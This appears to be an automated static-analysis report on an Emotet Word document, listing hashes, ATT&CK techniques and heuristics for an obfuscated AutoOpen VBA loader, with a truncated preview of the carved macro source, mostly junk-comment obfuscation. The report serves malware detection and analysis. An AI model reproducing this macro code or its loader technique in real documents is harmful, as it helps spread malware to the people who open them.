Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 40855ca7eab2fce0…

MALICIOUS

Office (OLE)

187.1 KB Created: 2019-10-17 21:22:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: 9f6bf45eed4a3cccf9cc4c23e873da5e SHA-1: 395972faf45ff367eb4ef7b2fa5662ffca5a9dfa SHA-256: 40855ca7eab2fce08dd77ed2bf7d971840beb944e15f3ea40078e9ad37b33ac1
282 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The file contains obfuscated VBA macros, including an AutoOpen function, which is a common loader technique for Emotet. Heuristics indicate the use of CreateObject and execution sinks, suggesting the macro is designed to download and run a secondary payload. ClamAV detection further confirms its malicious nature as Emotet.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7343230-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7343230-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 54897 bytes
SHA-256: e1af006892453d2b0ef86a97863b52345856b64586ece563eaaf99a1d78e1dee
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Ykvbaouf"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Ajptvpaq, 0, 0, MSForms, CommandButton"
Attribute VB_Control = "Zshltlsmlqy, 1, 1, MSForms, CommandButton"
Attribute VB_Control = "Gscecprd, 2, 2, MSForms, CommandButton"
Attribute VB_Control = "Poapnevg, 3, 3, MSForms, CommandButton"
Attribute VB_Control = "Asjqzwivzqq, 4, 4, MSForms, CommandButton"
Attribute VB_Control = "Pzfdvesbd, 5, 5, MSForms, CommandButton"
Attribute VB_Control = "Xpmrcjjvc, 6, 6, MSForms, CommandButton"
Attribute VB_Control = "Hovffvok, 7, 7, MSForms, CommandButton"
Attribute VB_Control = "Ujkpwtghbbn, 8, 8, MSForms, CommandButton"
Attribute VB_Control = "Wpnbwlnajey, 9, 9, MSForms, CommandButton"
Attribute VB_Control = "Pqfboglvkznr, 10, 10, MSForms, CommandButton"
Attribute VB_Control = "Gatkvksk, 11, 11, MSForms, CommandButton"
Attribute VB_Control = "Bxbrchgibpglz, 12, 12, MSForms, CommandButton"
Attribute VB_Control = "Hmwpyathzwje, 13, 13, MSForms, CommandButton"
Attribute VB_Control = "Vhitborjatm, 14, 14, MSForms, CommandButton"
Attribute VB_Control = "Hjcimmtjfly, 15, 15, MSForms, CommandButton"
Attribute VB_Control = "Wsijbvlghgrg, 16, 16, MSForms, CommandButton"

Attribute VB_Name = "Isvoijhnemx"
Function Nicedoyo()
On Error Resume Next
   'Larkin IncSuite 553West Waters LLCSuite 848Southwest Goodwin and SonsSuite 324North Grant - KuhnApt. 233East
'Trantow, Bauch and SchinnerApt. 006Northeast Huels - HandSuite 096South Boehm - PurdyApt. 849North Lindgren and SonsApt. 926Northeast
Iiqmucils = "Forward107 Pacocha Row, Lewisville, Saint Martin" 'Brekke - WeberApt. 081South Carter, Williamson and SpinkaApt. 523Southeast
'Reinger IncSuite 784North Bechtelar, Langosh and RaynorSuite 517Southeast Wilderman, Armstrong and GrimesApt. 684Northwest Lakin, Conroy and SwiftApt. 291Southwest
'Koch - StammSuite 253South Paucek, Littel and BreitenbergSuite 713Northeast Hammes LLCSuite 032Southwest Walsh GroupSuite 527West
Vdcwitqomgv = 61319 'O'Keefe - FriesenSuite 175Southwest Tremblay IncSuite 617North
'Tremblay - WelchSuite 624North Torp - CasperSuite 441West Orn, Zieme and CollinsSuite 446Southeast Rath - D'AmoreApt. 339East
'Dynamic4462 Allan Underpass, Towneton, Suriname'Howe, Predovic and GusikowskiApt. 732East Gerhold - McDermottSuite 567Southeast
'Wintheiser IncSuite 104South Carter, Ledner and GorczanySuite 251South Bahringer - KrajcikApt. 696Southwest Bradtke, Cummings and BalistreriSuite 914South
Rem National372 Abbott Brooks, Zboncaktown, Macao'Hills GroupSuite 732Southwest Oberbrunner GroupSuite 107West
'Bednar - McDermottApt. 640Northeast Hettinger - WintheiserApt. 391West Moen, Beahan and DenesikApt. 777East Hoppe and SonsSuite 960West
Rem Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.3; Trident/4.1; .NET CLR 2.1.64402.2)'Hansen - WeberSuite 277South Wolf and SonsApt. 963Northeast
'Breitenberg - LoweApt. 508South Zulauf, Kihn and BergeSuite 767Southwest Powlowski, Mraz and DietrichSuite 682Southwest Runte and SonsApt. 350Northwest
'Towne - BeckerApt. 955Northeast Doyle - HagenesSuite 453Northwest Boehm - WintheiserSuite 354Northwest Nienow, Volkman and BaumbachApt. 569North
'Greenfelder GroupSuite 981North Gerlach - JohnsonSuite 535West Walsh - FramiSuite 349West Gleason - HagenesSuite 451Northeast
'Pollich - KassulkeApt. 595East Moore, Reinger and FritschApt. 112South Jacobson - MohrApt. 366West Heller - O'KeefeSuite 460East
   'Crist, Swift and WindlerApt. 864North Ratke, Pollich and O'HaraApt. 200South Cronin, Kutch and BraunApt. 978East Stark - MitchellApt. 960East
'Haag and SonsApt. 671South Wuckert - WindlerSuite 015Northeast Ruecker GroupSuite 718East Purdy - BinsSuite 437North
Ckbbjskhap = Wekhpcykfr 'Crooks - DooleySuite 721West Renner and SonsApt. 811West
'Blick IncApt. 843Southeast Botsford - OrnSuite 669South Windler IncSuite 977Sout
... (truncated)